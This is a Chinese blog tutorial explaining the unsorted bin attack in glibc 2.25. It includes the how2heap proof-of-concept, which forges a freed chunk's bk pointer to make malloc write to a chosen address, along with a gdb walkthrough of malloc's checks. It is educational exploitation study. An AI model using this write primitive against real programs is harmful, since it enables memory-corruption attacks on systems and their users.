通过 glibc2.25 学习 unsorted bin

前言:那再进步一点点。。。

0X00 通过 how2heap 学习原理

#include <stdio.h>
#include <stdlib.h>

int main(){
    fprintf(stderr, "This file demonstrates unsorted bin attack by write a large unsigned long value into stack\n");
    fprintf(stderr, "In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the "
           "global variable global_max_fast in libc for further fastbin attack\n\n");

    unsigned long stack_var=0;
    fprintf(stderr, "Let's first look at the target we want to rewrite on stack:\n");
    fprintf(stderr, "%p: %ld\n\n", &stack_var, stack_var);

    unsigned long *p=malloc(400);
    fprintf(stderr, "Now, we allocate first normal chunk on the heap at: %p\n",p);
    fprintf(stderr, "And allocate another normal chunk in order to avoid consolidating the top chunk with"
           "the first one during the free()\n\n");
    malloc(500);

    free(p);
    fprintf(stderr, "We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer "
           "point to %p\n",(void*)p[1]);

    //------------VULNERABILITY-----------

    p[1]=(unsigned long)(&stack_var-2);
    fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");
    fprintf(stderr, "And we write it with the target address-16 (in 32-bits machine, it should be target address-8):%p\n\n",(void*)p[1]);

    //------------------------------------

    malloc(400);
    fprintf(stderr, "Let's malloc again to get the chunk we just free. During this time, the target should have already been "
           "rewritten:\n");
    fprintf(stderr, "%p: %p\n", &stack_var, (void*)stack_var);
}

用一张图解释一下发生了什么,图片来自 CTF WIKI

简单来说通过伪造最后一个 chunk 的 bk,来达到改写的目的。

以下内容摘自 CTF WIKI:

unsorted bin 中的 chunk 有两种基本来源:

  • 当分割一块比较大的 chunk 的时候,(特殊的 chunk 除外)如果剩下的 chunk 大于 MINISIZE(64 位是 32 Byte),就会放在 unsorted bin 中
  • 释放一个不属于 fastbin 的 chunk,如果不和 top chunk 紧邻,就会放在 unsorted bin 中

unsorted bin 中的 chunk 有两种基本去处:

  • 空闲的 chunk 从头部进,从链表尾部拿出 chunk
  • 还可以把 unsorted bin 看成 small bin 和 large bin 的缓存,在寻找 chunk 的时候,如果 fastbin 里面没有合适的 chunk,就会去 unsorted bin 里面去寻找 chunk,如果 unsorted bin 里面没有,就会把 unsorted bin 里面的 chunk,放回到 small bin large bin 中

0X01 通过调试学习防护机制

通过 glibc 2.25 我们来学习一下 unsorted bin 的创建需要哪些检查,建议跟着一起调试:

pwngdb 走起:

// gcc unsorted.c -o unsorted -g
// patchelf --set-interpreter /home/tenshine/all_glibc/glibc-2.25/64/lib/ld-2.25.so unsorted
// gdb unsorted 
#include <stdio.h>
#include <stdlib.h>

int main() {
    
    void* p = malloc(0x80);
    malloc(0x20);
    void* p1 = malloc(0x100);
    malloc(0x20);

    free(p);
    free(p1);

    malloc(0x100);
    return 0;
}

这里我们暂时只分析相同大小的 unsorted bin 分配,等我学完了大部分的攻击,我们再继续深入。

我们直接进入最后一个 malloc

来看看,现在 unsorted bin 的情况:

现在有两个 unsorted bin chunk,箭头的意思是 fd。unsorted bin 是一个循环双向链表。它的头地址在 main_arena+88 的位置,这个位置的 bk 指向最后一个 chunk。

我们继续进入 __libc_malloc 再进入 _int_malloc:

顺着走下来,我们走到一个循环:

在这个循环中,我们开始从最后一个 unsorted bin 开始选择合适的 chunk

while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))

这个循环中,victim 被赋值最后一个 chunk 的地址

我们迎来了第一个检查:

大致意思是,这最后一个 chunk 的 size 不能比 2 × SIZE_SZ 要小,也不能比该分配区分配的内存要大。

好我们继续

这个 if 在我们这个情况下可以不用看,跳过。上面的注释写得很清楚。

注意看这里,glibc 直接把 victim 从链表中拿出来了。但是!并不知道是不是满足分配的大小,而我们知道,这个 chunk 的 size 是不满足的。

我们看看现在的 unsorted chunk:

那么这个 chunk 放到哪里了呢?放到了 small bin 或者 large bin 中了。并把那个 bin 标记有空闲的 chunk

到第二次循环,我们直接进入:

然后就可以把它分配出来了。

0X02 总结

总结一下:

在 glibc2.25 中如果能够控制最后一个 chunk 的 bk,在 0X00 中我们正是修改了最后一个 chunk 的 bk,导致 bck 指向的不是 main_arena+88,而是其他位置(被计算好的),通过修改 bck->fd 来修改想改的值。

unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

完结撒花。。。

©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

  • 最近开始入坑linux下的堆漏洞成因与利用方式,首先从认识堆开始,一步步为自己的学习做一些总结。 0x00 什么是...
    星辰照耀你我阅读 4,881评论 0 4
  • 概述 用户释放掉的 chunk 不会马上归还给系统,ptmalloc 会统一管理 heap 和 mmap 映射区域...
    HAPPYers阅读 7,730评论 0 3
  • 加密算法通常分为对称加密算法和非对称加密算法,下面就来梳理一下相关概念。 对称加密算法:信息接收双方都需要事先知道...
    天心鸥兹阅读 3,462评论 0 1
  • 今天早上,公司的销售接到客户采购的电话,说让再过去培训,师傅现在都不会用。我一听,火气很大。 因为这周从周三开始,...
    子木日月阅读 3,658评论 0 2
  • 夜色已深 秋意渐浓 雨夜微凉 独自一人的行囊 漫步于他乡 几许悲伤 几许彷徨 我来自何方 在这雨夜 心在流浪 或许...
    汉儒应天阅读 1,418评论 0 0

友情链接更多精彩内容